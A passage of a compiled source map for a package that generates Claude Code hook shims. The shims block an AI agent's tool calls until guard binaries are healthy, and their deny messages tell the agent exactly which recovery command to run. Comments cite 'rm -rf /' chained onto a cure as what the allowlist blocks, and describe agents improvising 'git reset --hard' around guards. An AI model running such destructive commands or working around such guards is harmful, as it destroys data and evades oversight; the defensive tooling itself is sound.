\\\\u001b escape never sits in this source\n ESC=\"\\${BS}u001b\" # the 6 chars: backslash u 0 0 1 b — Claude Code parses \\\\u001b → ESC\n printf '{\"systemMessage\":\"%s🛑 %s%s\",\"hookSpecificOutput\":{\"hookEventName\":\"PreToolUse\",\"permissionDecision\":\"deny\",\"permissionDecisionReason\":\"%s\"}}\\\\n' \"\\${ESC}[31;1m\" \"\\$REASON\" \"\\${ESC}[0m\" \"\\$REASON\"\nelse\n printf '{\"hookSpecificOutput\":{\"hookEventName\":\"PreToolUse\",\"permissionDecision\":\"deny\",\"permissionDecisionReason\":\"%s\"}}\\\\n' \"\\$REASON\"\nfi\nexit 0 # decision is carried by permissionDecision \"deny\", not the exit code`;\n\n// Shell fragment: pick the fail-closed deny REASON — a crashed-bin message (corrupt node_modules) vs a\n// version-drift message (bin present but stale) vs the missing-bin message. Extracted alongside\n// VERSION_DRIFT_GUARD_SH / RUN_BIN_SH to keep renderShim() within the method-line budget.\nconst DENY_REASON_SH = `if [ -n \"\\$BROKEN_BIN\" ]; then\n # Report (do NOT auto-clean) the orphaned pnpm staging dirs — a package pnpm was mid-way through\n # writing is left behind as <name>_<pid>_<hash>. Their presence is the fingerprint of an install that\n # was killed, which is what corrupts node_modules in the first place. Best-effort; never fatal.\n STAGING_N=\"\\$(ls \"\\$ROOT/node_modules\" 2>/dev/null | grep -Ec '_[0-9a-f]+_[0-9a-f]+\\$' || true)\"\n STAGING_NOTE=\"\"\n if [ \"\\${STAGING_N:-0}\" -gt 0 ] 2>/dev/null; then\n STAGING_NOTE=\" Also found \\$STAGING_N orphaned pnpm staging dirs (name_pid_hash) under node_modules - the fingerprint of an install that was killed mid-write.\"\n fi\n REASON=\"❌ webpieces guards are DOWN and every OTHER tool call is BLOCKED: \\${BIN_NAME} is installed but CRASHED (\\$CRASH_MSG). Your node_modules is corrupt or partially written, so the guards cannot run - and they must NOT be silently skipped. NOTE: a plain 'pnpm install' will NOT fix this; pnpm sees the correct version on disk and skips the broken package. THIS IS NOT A DEADLOCK: the option below is explicitly ALLOWED through while this guard is up, so run it YOURSELF rather than handing it to the human. OPTION 1 - run EXACTLY this command, then retry: '${RECOVERY_CMD}'. ${NO_CHAINING_RULE}\\${STAGING_NOTE}\"\nelif [ -n \"\\$DRIFT_PKG\" ]; then\n # The 'how do I get current' half comes from SyncFlowGuidance so it cannot contradict the guards.\n # It used to name 'git merge --ff-only origin/main' and assert that merge is allowed while this guard\n # is up — the ONE command redirect-how-to-merge-main blocks in every form. An AI that obeyed the\n # drift message got hard-blocked by the other guard with no path forward, which is how improvised\n # 'git reset --hard' workarounds get invented. The SYNC allowlist no longer accepts merge either, so\n # the text and the allowlist now agree instead of the text warning against what the list permits.\n #\n # State the two versions and let the reader judge which is stale — do NOT assert a direction. The\n # check is a plain !=, so it fires BOTH ways, and the old text always claimed node_modules was the\n # older side. When it is actually the NEWER side (a checkout behind origin), that text sent people\n # to 'pnpm install', which DOWNGRADES them further from correct.\n REASON=\"❌ webpieces version drift: package.json pins \\$DRIFT_PKG@\\$DRIFT_DECLARED but node_modules has \\$DRIFT_INSTALLED. Every OTHER call is blocked until they agree. WHICH ONE IS STALE decides which option is yours - compare the two versions above. OPTION 1 (the pin is NEWER than node_modules - you just pulled or switched to a branch pinning a newer webpieces) - run EXACTLY this command to catch node_modules up: 'pnpm install'. OPTION 2 (the pin is OLDER than node_modules - your checkout is behind origin, so the PIN is the stale side, and 'pnpm install' on its own would DOWNGRADE you) - get the checkout current FIRST, THEN run 'pnpm install'. ${new SyncFlowGuidance().updateMainAdvice()} git pull and git fetch are allowed while this guard is up and are the cure here. git merge is NOT allowed - not by this guard and not by redirect-how-to-merge-main once the guards are back - because main is merged ONLY through the 3-point fork merge: 'pnpm wp-start-update', or 'pnpm wp-start-upsert-pr' when a PR is already open. ${NO_CHAINING_RULE}\"\nelse\n # A LINKED WORKTREE is the overwhelmingly common way to land here with a perfectly healthy repo:\n # git gives the new worktree a .git FILE (the primary clone has a .git directory) and copies no\n # node_modules, so the very first tool call in a brand-new worktree fail-closes on a missing bin.\n # Naming that explicitly turns a baffling \"not installed\" into a one-command fix, and the HERE is\n # load-bearing: installing in the primary clone does nothing for this tree.\n WORKTREE_NOTE=\"\"\n if [ -f \"\\$ROOT/.git\" ]; then\n WORKTREE_NOTE=\" NOTE: \\$ROOT is a LINKED WORKTREE - git does not copy node_modules into a new worktree, so this is expected on a fresh one. Run 'pnpm install' HERE (in this worktree), not in the primary clone.\"\n fi\n REASON=\"❌ @webpieces/ai-hook-rules is declared in package.json but is not installed (\\${BIN_NAME} not found). OPTION 1 - run EXACTLY this command to enable the webpieces AI guards, then retry: 'pnpm install'. ${NO_CHAINING_RULE}\\${WORKTREE_NOTE} (If you removed @webpieces/ai-hook-rules on purpose, delete its hooks from .claude/settings.json.)\"\nfi`;\n\nexport function renderShim(): string {\n return `#!/bin/sh\n# Managed by @webpieces/ai-hook-rules (wp-install-ai-hooks) — do not edit. This file is GENERATED from\n# renderShim() and is intentionally VERSION-AGNOSTIC and byte-STABLE across releases: it carries no\n# version stamp, so it only changes when its own logic changes. The installed guards binary is what\n# checks that this committed copy still matches renderShim() (the committed-shim self-guard); if you\n# revert or hand-edit this file the binary fails closed and names the cure. Checked in on purpose so\n# the hook has a stable entry point even when node_modules is absent. Safe to delete along with the\n# matching .claude/settings.json entries if you remove @webpieces/ai-hook-rules.\n#\n# Usage (wired into .claude/settings.json): sh \"$CLAUDE_PROJECT_DIR/.claude/webpieces/ai-hook.sh\" <bin-name>\nBIN_NAME=\"$1\"\nshift\n# Resolve the bin relative to THIS script (…/<root>/.claude/webpieces/ai-hook.sh → <root>), not the\n# caller's cwd — the hook can be invoked from any directory (a subdir, or a nested clone).\nROOT=\"$(CDPATH= cd -- \"$(dirname -- \"$0\")/../..\" && pwd)\"\nBIN=\"$ROOT/node_modules/.bin/$BIN_NAME\"\n${VERSION_DRIFT_GUARD_SH}\n# Read the tool payload ONCE, up front. The shim no longer exec's the bin (see RUN_BIN_SH), so it must\n# forward stdin to the bin itself — and it needs the payload again on the fail-closed path below.\nPAYLOAD=\"$(cat)\"\nBROKEN_BIN=\"\"\nCRASH_MSG=\"\"\n${RUN_BIN_SH}\n# Bin missing (fresh clone before install) OR a version drift (stale node_modules) OR the bin is\n# installed but CRASHED (corrupt node_modules). The webpieces guards CANNOT safely run.\n# Before failing closed, peek at the tool payload and let ONLY package-manager install/recovery commands\n# through: the assistant's own Bash tool routes through this hook too, so blocking everything would\n# deadlock the very commands (pnpm install / rm -rf node_modules && pnpm install) that re-enable the\n# guards. A silent exit 0 = \"allow\" in the PreToolUse protocol; the guards resume once the tree is sane.\n${TRIAGE_SH}\n${DENY_REASON_SH}\n${DENY_EMIT_SH}\n`;\n}\n\n// Find the repo root that owns the committed shim to heal: walk up from `cwd` (the invocation's\n// actual dir) to the nearest ancestor holding a shim, falling back to $CLAUDE_PROJECT_DIR (which\n// Claude Code exports to hooks) only if the walk finds nothing. cwd-first keeps this correct for a\n// nested clone and testable (a temp root is honoured over the ambient project env). Returns null when\n// no committed shim exists (e.g. a global / absolute install, which has none to heal).\n//\n// Exported for install-entry.ts: on a CORRUPT node_modules, healShim is the only installer step that\n// can still run, so the installer must be able to tell the human whether a committed shim was actually\n// there to re-arm. Pure existsSync walk — never throws, so it needs no try/catch of its own.\n// webpieces-disable no-function-outside-class -- pure fs+path helper in the dependency-free shim module; it must not depend on DI (install-entry.ts relies on this loading on a corrupt tree).\nexport function findShimRoot(cwd: string): string | null {\n let dir = cwd;\n for (;;) {\n if (fs.existsSync(shimPath(dir))) return dir;\n const parent = path.dirname(dir);\n if (parent === dir) break;\n dir = parent;\n }\n const env = process.env['CLAUDE_PROJECT_DIR'];\n if (env && fs.existsSync(shimPath(env))) return env;\n return null;\n}\n\n// Best-effort: keep the committed shim identical to renderShim() so the fail-closed escape hatch and\n// allowlist never drift. Only rewrites an EXISTING shim (never creates one) so global installs are\n// untouched. NEVER throws — a self-heal must never block or crash a tool call.\n//\n// The overwrite itself is correct and deliberate — shim and binary are two halves of one L0 and MUST\n// come from the same release (see shimStaleRecoveryDecision's header in ../adapters/hook-core).\n//\n// It needs no backup and no notice: the shim is a TRACKED file, so whatever it replaced is already in\n// git — `git diff` shows the rewrite, and a tamper is a working-tree modification git surfaces on its\n// own. In a consistent repo this is a no-op (committed shim already equals renderShim()); it earns its\n// keep on the upgrade path, where bumping the pin and installing leaves the committed shim behind and\n// this quietly brings it forward to be committed.\nexport function healShim(cwd: string): void {\n // eslint-disable-next-line @webpieces/no-unmanaged-exceptions\n try {\n const root = findShimRoot(cwd);\n if (!root) return;\n const target = shimPath(root);\n const desired = renderShim();\n if (fs.readFileSync(target, 'utf8') === desired) return;\n fs.writeFileSync(target, desired, { mode: 0o755 });\n fs.chmodSync(target, 0o755);\n } catch (err: unknown) {\n //const error = toError(err);\n // Ignore: healing is a convenience, not part of the guard decision.\n }\n}\n\n// ---------------------------------------------------------------------------\n// COMMITTED-SHIM SELF-GUARD — now enforced by the guards BINARY, not the shim (moved 2026-07-24).\n//\n// It used to live in the rendered shim (`cmp -s \"$0\" \"$WP_TEMPLATE\"` → fail closed). That was a\n// double-edged fix trap: the shim-matching logic lived IN the committed shim, so a bug in it could\n// only be fixed by regenerating the committed shim — which required passing the buggy shim's own gate\n// (via wp-upgrade-shim). The fix was locked behind the gate it needed to open.\n//\n// The drift guard MUST stay pre-binary (a stale validator can't be trusted to guard itself), but this\n// check's rationale — \"don't run possibly-stale shim logic\" — evaporates once the check is in the\n// binary: at that point the deciding code is the CURRENT binary from node_modules, not the reverted\n// shim. So the shim now only checks drift + bin-presence and always hands off; the binary (hook-core)\n// calls committedShimStale() and, on a mismatch, fails closed with shimStaleDenyReason() — the SAME\n// OPTION 1/2/3 message — while isShimCureCommand() lets the three cures through so the AI self-heals.\n// We deny + tell the AI; we do NOT silently rewrite the file under it. With the version stamp gone the\n// shim is byte-stable across releases, so this fires only on a genuine logic change or a real tamper.\n// ---------------------------------------------------------------------------\n\n// True when a committed shim EXISTS but no longer equals renderShim() (reverted, hand-edited, or a shim\n// whose LOGIC predates the installed binary). Missing shim → false: a fresh clone / global install has\n// nothing to guard, matching the old shim's `[ -f \"$WP_TEMPLATE\" ]` skip. Same comparison healShim\n// makes; never throws (an unreadable tree is treated as \"not stale\" so it can't wedge a tool call).\n// webpieces-disable no-function-outside-class -- pure fs+path helper in the shim module, beside healShim/renderShim.\nexport function committedShimStale(cwd: string): boolean {\n // eslint-disable-next-line @webpieces/no-unmanaged-exceptions\n try {\n const root = findShimRoot(cwd);\n if (root === null) return false;\n return fs.readFileSync(shimPath(root), 'utf8') !== renderShim();\n } catch (err: unknown) {\n const error = toError(err);\n void error; // best-effort: an unreadable tree counts as \"not stale\" so this never wedges a tool call\n return false;\n }\n}\n\n// True when `command` is one of the three self-guard cures — the ONLY commands allowed through while a\n// stale committed shim blocks everything else, so the AI can re-arm it. Each JS twin already tolerates\n// a trailing `2>&1 | tail -N` and rejects any `&&`-chained tail (see CAPTURE_TAIL_JS_SRC).\n// webpieces-disable no-function-outside-class -- pure predicate over the exported allowlist twins; belongs beside them in the shim module.\nexport function isShimCureCommand(command: string): boolean {\n const cmd = command.trim();\n return INSTALL_HOOKS_ALLOW_JS.test(cmd) || UPGRADE_SHIM_ALLOW_JS.test(cmd) || RESTORE_SHIM_ALLOW_JS.test(cmd);\n}\n\n// The fail-closed deny text for a stale committed shim, built from the single-source cure constants +\n// NO_CHAINING_RULE. `installedVersion` names WHICH webpieces the cure re-arms to (the binary is that\n// version); pass '' to omit the note rather than print an empty one. CONSTRAINT: the returned string\n// must contain no `\"` and no `\\` — it is JSON-serialized by denyJson() (a stray quote/backslash would\n// corrupt the PreToolUse decision payload, not just the text). Locked by a unit test.\n// webpieces-disable no-function-outside-class -- pure string builder over exported constants; the single source of the self-guard deny text now that the sh copy is gone.\nexport function shimStaleDenyReason(installedVersion: string): string {\n const verNote = installedVersion ? ` (installed version ${installedVersion})` : '';\n return `❌ webpieces-managed file was changed: .claude/webpieces/ai-hook.sh no longer matches the ai-hook.sh rendered by the INSTALLED @webpieces/ai-hook-rules${verNote} (it was reverted or hand-edited). This file is GENERATED and committed by webpieces - it must NOT be reverted or edited by hand, and its fail-closed guard logic cannot be trusted while it differs. Every OTHER tool call is blocked until the two files are byte-identical again. THIS IS NOT A DEADLOCK: all three options below are explicitly ALLOWED through while this guard is up, so run one YOURSELF now - do not hand it back to the human. OPTION 1 (preferred - present in every webpieces release, and it re-arms the shim before it loads anything else) - run EXACTLY this command: '${INSTALL_HOOKS_CMD}'. OPTION 2 (shim regen only; needs installed @webpieces/ai-hook-rules 0.4.408 or newer) - run EXACTLY this command: '${UPGRADE_SHIM_CMD}'. OPTION 3 (works on every version, but Claude Code's own permission prompt may ask you to confirm the file overwrite - that prompt is NOT this guard) - run EXACTLY this command: '${RESTORE_SHIM_CMD}'. ${NO_CHAINING_RULE} Do NOT revert the shim again - if you meant to remove @webpieces/ai-hook-rules, delete its hooks from .claude/settings.json instead.`;\n}\n\n// The shape of the fields we read out of this package's package.json.\ninterface ShimPackageManifest {\n readonly version?: string;\n}\n\n// The installed @webpieces/ai-hook-rules version, for shimStaleDenyReason's note. The binary IS this\n// package, so it reads its OWN package.json (two dirs up from src/bin). Best-effort: '' on any failure,\n// which shimStaleDenyReason renders as no note rather than a broken one.\n// webpieces-disable no-function-outside-class -- pure fs helper beside the shim module's other version plumbing.\nexport function installedShimRulesVersion(): string {\n // eslint-disable-next-line @webpieces/no-unmanaged-exceptions\n try {\n const pkg = JSON.parse(fs.readFileSync(path.join(__dirname, '..', '..', 'package.json'), 'utf8')) as ShimPackageManifest;\n return pkg.version ?? '';\n } catch (err: unknown) {\n const error = toError(err);\n void error; // best-effort: no readable version → shimStaleDenyReason prints no note\n return '';\n }\n}\n"]}
1
+ {"version":3,"file":"shim.js","sourceRoot":"","sources":["../../../../../../packages/tooling/ai-hook-rules/src/bin/shim.ts"],"names":[],"mappings":"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","sourcesContent":["import * as fs from 'fs';\nimport * as path from 'path';\n\nimport { SyncFlowGuidance, CONFIG_FILENAME } from '@webpieces/rules-config';\n\nimport { toError } from '../core/to-error';\nimport {\n L0_ALLOW_ERE, RECOVERY_CMD, INSTALL_HOOKS_CMD, INSTALL_HOOKS_SYNC_CMD, UPGRADE_SHIM_CMD, RESTORE_SHIM_CMD,\n INSTALL_HOOKS_ALLOW_JS, UPGRADE_SHIM_ALLOW_JS, RESTORE_SHIM_ALLOW_JS,\n} from './l0-allowlist';\n\n// The allowlist moved to ./l0-allowlist (this module was over the file-size limit); re-exported here so\n// every existing `from './shim'` import keeps working and there is still ONE name to import L0 by.\nexport * from './l0-allowlist';\n\n// ---------------------------------------------------------------------------\n// The single checked-in shim (.claude/webpieces/ai-hook.sh). Both project hooks point at it, passing\n// their bin name as the first arg. settings.json points here (not at the bare bin) so a missing bin\n// (fresh clone, package removed) yields a friendly message instead of the raw `sh: No such file or\n// directory` on every Write/Edit/Bash tool call. `.claude` is committed, so the shim survives even\n// when node_modules does not.\n//\n// This module is the SINGLE SOURCE OF TRUTH for the shim body + the installer allowlist. The\n// installer (setup.ts) renders it on install; the running guards binary re-renders and self-heals it\n// (healShim) so the committed .sh can never go stale — no human ever hand-edits it.\n// ---------------------------------------------------------------------------\nexport const SHIM_MARKER = '.claude/webpieces/ai-hook.sh';\n\n// NO VERSION STAMP (removed 2026-07-24). The shim used to carry a per-release `# webpieces shim\n// version: <v> (<sha>)` on line 2, rewritten by scripts/set-version.sh at publish. It was a pure\n// human-eyeball diagnostic — nothing reads it (the deny's version note comes from the installed\n// package.json) — but it made the committed shim go byte-different on EVERY release even when the\n// logic was identical, so the committed-shim self-guard tripped on every upgrade over a comment (the\n// DENY-SHIM-STALE churn). It also carried its own hazard: stamp one of the two lockstep artifacts and\n// not the other and every consumer fail-closes forever on a phantom edit. Deleting it makes the shim\n// byte-STABLE across releases, so the self-guard (now in the binary) fires only on a genuine logic\n// change or a real tamper — which is what lets `pnpm install` be the fix for almost everything.\n\nexport function shimPath(projectRoot: string): string {\n return path.join(projectRoot, '.claude', 'webpieces', 'ai-hook.sh');\n}\n\n\n// ---------------------------------------------------------------------------\n// HOW EVERY DENY MUST SPELL ITS CURE (added 2026-07-23, from a live audit-log post-mortem).\n//\n// The guards were right, the message was right, and the assistant STILL handed the block back to the\n// human — because of one appended clause. From .webpieces/logs/ai-hook-shim.log in a consumer repo:\n//\n// DENY-SHIM-STALE cp node_modules/@webpieces/ai-hook-rules/templates/ai-hook.sh .claude/webpieces/ai-hook.sh && git status --short\n//\n// That is the prescribed cure, verbatim, plus `&& git status --short`. Every allowlist here is anchored\n// to `$`, so the trailing `&&` made it a different command and it was denied — and the assistant read\n// its own denial as proof that \"the guard blocks the very command that fixes it\" and stopped.\n//\n// Widening the allowlist to accept `&& <anything>` is NOT the fix: these are fail-CLOSED escape hatches\n// whose entire security property is that no shell operator can ride along (`cp … && rm -rf /`). The fix\n// is to stop the assistant appending in the first place — so every deny that prescribes a command now\n// (a) numbers its cures as OPTIONs, (b) quotes each one so the exact bytes are unambiguous, and\n// (c) carries this rule, which says in plain words that adding `&&` gets it rejected again.\n//\n// CONSTRAINT on every string that reaches a deny REASON: no double quotes and no backslashes. The\n// reason is interpolated into a `REASON=\"…\"` shell assignment and then printf'd into a JSON string, so\n// a `\"` would break BOTH. Hence single quotes around the commands here — do not \"improve\" them.\n// ---------------------------------------------------------------------------\nexport const NO_CHAINING_RULE =\n 'Type the option you pick EXACTLY as written, character for character, and run NOTHING else on that line. ' +\n 'Seriously: do NOT append && anything (not even a harmless && git status), do NOT wrap it in a subshell. ' +\n 'The allowlist is anchored to the ENTIRE command, so anything you bolt on ' +\n 'makes it a DIFFERENT command and it WILL be rejected again - which is not the guard refusing its own cure. ' +\n 'If an option already contains &&, that && is part of the command: keep it, and still add nothing beyond it. ' +\n 'The only additions tolerated are a LEADING cd <dir> && (needed to run the cure in a linked worktree, since ' +\n 'the harness resets a cwd that left the workspace and puts you back in the primary clone - that one IS ' +\n 'accepted), a trailing 2>&1, and a pipe into tail/head ' +\n '(e.g. cd /path/to/worktree && pnpm install 2>&1 | tail -20).';\n\n// Normal template literal (not String.raw): it carries #235's shell escapes verbatim (\\${BIN_NAME},\n// \\$REASON, \\\\n for the deny JSON) AND my sed backslashes (doubled: \\\\(, \\\\), \\\\1, [^\"\\\\\\\\]). The\n// grep pattern is interpolated from INSTALLER_ALLOW_ERE (its value has no backslashes).\n// Shell fragment: the version-drift guard (see its own block comment). Extracted to a module const so\n// renderShim() stays within the method-line budget; it is spliced back in verbatim, byte-for-byte.\nconst VERSION_DRIFT_GUARD_SH = `# --- webpieces version-drift guard (pure sh — runs even when the installed guard bin is stale) -----\n# The committed shim is version-agnostic, so it keeps working right after a git pull, BEFORE the\n# matching pnpm install. That is exactly when node_modules can be STALE: an OLDER @webpieces than\n# package.json now pins, whose outdated validator rejects the NEWER webpieces.config.json with baffling\n# \"unknown rule\" errors. Detect that drift HERE (before exec'ing the possibly-stale bin): compare every\n# EXACT-pinned @webpieces/* version in the root package.json against the version actually installed in\n# node_modules; the first mismatch wins. Range specs (^ ~ workspace:*) are skipped, so they never\n# false-positive; best-effort — a version we cannot read is skipped. On drift we fall through to the\n# SAME fail-closed path as a missing bin (allow only pnpm install, deny the rest).\n#\n# pnpm CATALOGS: a dep pinned via \"catalog:\" / \"catalog:<name>\" carries NO digit-version in package.json,\n# so the old scraper matched nothing and the guard was BLIND to it — DRIFT_PKG stayed empty and the\n# stale bin ran (the 2026-07 \"0.3.369 vs 0.4.405\" incident). Resolve those specs through the top-level\n# \\`catalogs:\\` block of pnpm-lock.yaml (catalog -> pkg -> resolved version) before 